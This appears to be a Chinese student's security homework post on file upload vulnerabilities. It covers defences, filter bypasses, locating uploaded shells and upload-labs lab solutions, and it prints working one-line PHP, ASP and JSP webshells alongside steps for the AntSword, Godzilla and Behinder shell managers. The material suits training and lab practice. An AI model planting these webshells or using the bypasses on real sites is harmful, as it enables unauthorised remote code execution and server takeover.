第七天作业

一、文件上传漏洞防御手段及绕过手段

防御手段:

  1. 文件类型检查

    • 限制可上传的文件类型。
    • 检查文件的MIME类型。
    • 检查文件的内容而不是仅依赖文件扩展名。
  2. 文件内容验证

    • 对上传的文件内容进行扫描,查找可能的恶意代码签名。
    • 对上传的图片文件进行二次渲染,以消除可能存在的恶意代码。
  3. 文件名随机化

    • 对上传的文件重命名,避免使用用户上传的原始文件名。
  4. 文件存储位置

    • 不要将上传的文件存储在Web根目录下,以防止直接通过URL访问。
  5. 权限控制

    • 对上传目录设置正确的文件权限,避免执行权限。
    • 使用独立的低权限账户来运行Web服务。
  6. 上传大小限制

    • 限制上传文件的大小,减少拒绝服务攻击(DoS)的风险。
  7. 验证码和速率限制

    • 使用验证码防止自动化攻击。
    • 对上传操作实施速率限制。
  8. 使用安全的编程实践

    • 使用框架提供的文件上传功能,这些功能通常内置了安全措施。

绕过手段:

  1. 文件类型伪装

    • 改变上传文件的Content-Type头部,伪装成允许上传的类型。
  2. 文件名欺骗

    • 在文件名中加入空字节或点等特殊字符,可能绕过某些文件名过滤。
  3. 文件内容混淆

    • 对恶意代码进行混淆,以绕过内容检查。
  4. 服务器解析漏洞

    • 利用服务器软件的特殊解析规则,例如IIS中的目录遍历或Apache的.htaccess攻击。
  5. 利用文件包含漏洞

    • 如果服务器存在文件包含漏洞,攻击者可能通过上传的文件执行代码。
  6. 二次上传攻击

    • 上传一个看似安全的文件,然后通过服务器漏洞修改文件内容或类型。
  7. 服务器配置错误

    • 利用服务器配置不当,如目录权限设置错误,来执行上传的脚本。

二、文件上传常用一句话木马

PHP 一句话木马:

<?php @eval($_POST['cmd']); ?>

这个PHP脚本会执行通过POST请求传递给cmd参数的任意PHP代码。

ASP 一句话木马:

<% Execute(Request("cmd")) %>

这个ASP脚本会执行通过请求传递给cmd参数的任意VBScript代码。

JSP 一句话木马:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

这个JSP脚本会执行通过请求传递给cmd参数的任意系统命令。

三、三种webshell管理工具的使用

一、蚁剑

做一个木马图片

生成的文件可以用记事本查看一下

开始上传

打开蚁剑

设置代理127.0.0.1:8080

可以看到写入的脚本

二、哥斯拉

打开软件

生成木马

上传后测试连接

添加后可查看内容

三、冰蝎

把冰蝎自带的php文件放入WWW

修改js后上传文件

连接测试,发现上次成功

四、文件上传无回显如何查找webshell地址

1. 猜测或推断路径

  • 默认上传路径:很多应用程序有默认的上传路径,例如 /upload/,攻击者可以尝试访问这些常见路径。

  • 时间戳:如果上传后文件名未改变,可以尝试根据上传时间来猜测文件名。

2. 目录遍历

  • 尝试使用目录遍历技术(如 ../)来访问服务器上的其他目录。

3. 错误消息

  • 观察服务器返回的错误消息,有时错误消息会泄露文件路径信息。

4. 文件包含漏洞

  • 如果服务器存在本地文件包含(LFI)漏洞,攻击者可以尝试利用该漏洞来读取服务器上的文件列表或包含Webshell。

5.暴力破解

  • 使用脚本对可能的文件路径和文件名进行暴力破解。

6. 服务器日志

  • 如果能够访问服务器的日志文件,可能会在其中找到上传文件的路径。

7. DNS记录

  • 如果上传的文件被重命名为包含唯一标识的URL,攻击者可能会通过DNS记录找到文件。

8. 网络监控

  • 使用网络监控工具捕获上传文件时的HTTP请求和响应,可能会发现文件路径。

五、upload-labs靶场通关

第六关:

尝试一下

将文件后缀php改成Php尝试绕过

成功绕过

但是蚁剑一直连接不成功?

第七关:

使用空格绕过黑名单

这样可以绕过对php文件的检测

第八关:

加.绕过检测

第九关:

特殊字符绕过::$DATA

第十关:

修改后缀为. .

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值